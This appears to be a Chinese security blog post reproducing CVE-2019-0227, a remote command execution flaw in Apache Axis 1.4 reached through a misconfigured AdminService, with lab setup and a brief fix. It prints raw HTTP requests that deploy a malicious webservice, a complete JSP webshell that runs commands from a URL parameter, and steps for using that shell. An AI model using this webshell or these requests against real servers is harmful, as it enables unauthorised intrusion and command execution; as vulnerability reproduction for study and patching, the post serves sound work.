• (CVE-2019-0227)Axis<=1.4 远程命令执行漏洞


    结尾附上本文的环境和PoC

    图片

    一、漏洞介绍

    漏洞本质是管理员对AdminService的配置错误。当enableRemoteAdmin属性设置为true时,攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,传入要执行的命令,就可以进行远程命令执行漏洞的利用。

    二、影响版本

    Axis <=1.4

    三、环境准备

    方法一:

    https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz

    下载的axis-bin-1_4.tar.gz压缩包中的webapps目录下的axis目录拷贝到tomcat的webapps目录下

    https://mvnrepository.com/search?q=freemarker-2.3.28.jar

    下载的freemarker-2.3.28.jar放在axis/WEB-INF/lib目录下

    启动tomcat后访问http://localhost:8080/axis

    图片

    这个需要WEB-INF/web.xml 去掉AdminServlet注释(这个只能本地复现)

    图片

    如果需要远程访问复现需要开启服务访问一下,会在WEB-INF下面生成一个server-config.wsdd

    图片

    需要将文件修改enableRemoteAdmin将false改为true

    图片

    这样允许远程admin服务

    最后重启tomcat,这个很关键。

    图片

    方法二:

    本次已经将环境打包(后台回复"axis"获取环境和POC

    下载下下来的环境包,上面要求环境都配置好了。

    直接解压放在tomcat/webapps下面,启动tomcat访问http://localhost:8080/axis

    图片

    四、漏洞复现

    方法一、手工写入shell

    通过services/AdminService 服务部署一个webservice ,webservice开启一个写文件服务。写入的文件路径是…/webapps/ROOT/shell.jsp,服务模块的工作路径是bin目录,这里利用相对路径写入ROOT目录,我们默认IP+port访问的就是ROOT目录,也就是tomcat默认根目录。

    图片

    原始数据包

    POST /axis/services/AdminService HTTP/1.1
    Host: 192.168.0.104:8080
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
    SOAPAction: something
    Upgrade-Insecure-Requests: 1
    Content-Type: application/xml
    Accept-Encoding: gzip, deflate
    Content-Length: 1061
    
    
    
      
        
      
        
          
        
        
        
      
        
           
         
      
    
      
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    注意写入shell位置,也可以修改比如manager,建议在ROOT下来。

    调用上一步创建的恶意webservice 写入webshell

    图片

    原始数据包

    POST /axis/services/RandomService HTTP/1.1
    Host: 192.168.0.104:8080
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
    Accept-Language: en-US,en;q=0.5
    SOAPAction: something
    Upgrade-Insecure-Requests: 1
    Content-Type: application/xml
    Accept-Encoding: gzip, deflate
    Content-Length: 876
    
    
            
            
            
                <% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
    ]]>
                
            
      
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    返回时500没关系,我们查看一下ROOT下面是否写入shell文件

    在这里插入图片描述

    图片

    ROOT目录下shell文件,有一些Java的类异常报错,因为是log模式。

    核心还是写的CMD码

    图片

    接下来访问一下shell

    http://192.168.0.104:8080/shell.jsp

    图片

    执行一下命令

    http://192.168.0.104:8080/shell.jsp?c=ifconfig可以获取系统的信息但是看起来不怎么直观

    图片

    检查代码

    图片

    这么清晰查看网络信息

    方法二、poc脚本写入shell

    python Axis1.4_rce_poc.py http://192.168.0.104:8080/axis/
    
     
     
    • 1
    • 1

    执行成功

    图片

    访问shell路径:http://192.168.0.104:8080/axis/…/shell.jsp

    图片

    因为第二次写了一次,这个是在第一次的基础上追加内容。

    http://192.168.0.104:8080/shell.jsp?c=id

    图片

    成功执行

    五、漏洞修复

    关闭admin服务即可,具体方法注释掉web-inf/web.xml 里的AdminServlet,然后重启tomcat.

    
        AdminServlet
        /servlet/AdminServlet
      
    
    • 1
    • 2
    • 3
    • 4

    参考:
    https://www.secpulse.com/archives/108937.html
    https://github.com/cwkiller/Axis-1.4-RCE-Poc
    https://github.com/ShimizuKawasaki/Axis-1.4-RCE-Poc

    关注公众号·Johnson666安全,后台回复axis获取环境和POC

  • 相关阅读:
    数据结构练级之路【链表带环问题】
    Pandas之DataFrame对象大总结
    数据结构-难点突破(C++实现图的基本操作(邻接矩阵,邻接表,十字链表法储存代码))
    echarts静态横向柱状图
    免杀对抗-宏免杀
    Vue3中使用i18n,this.$t报错
    Redis系列:Geo 类型赋能亿级地图位置计算
    【算法leetcode】剑指 Offer II 081. 允许重复选择元素的组合(多语言实现)
    并查集(Union-Find)
    (入门以及简介+实战)超参数寻找器hyperopt库中常见的函数或类的作用
  • 原文地址:https://blog.csdn.net/weixin_50464560/article/details/127799017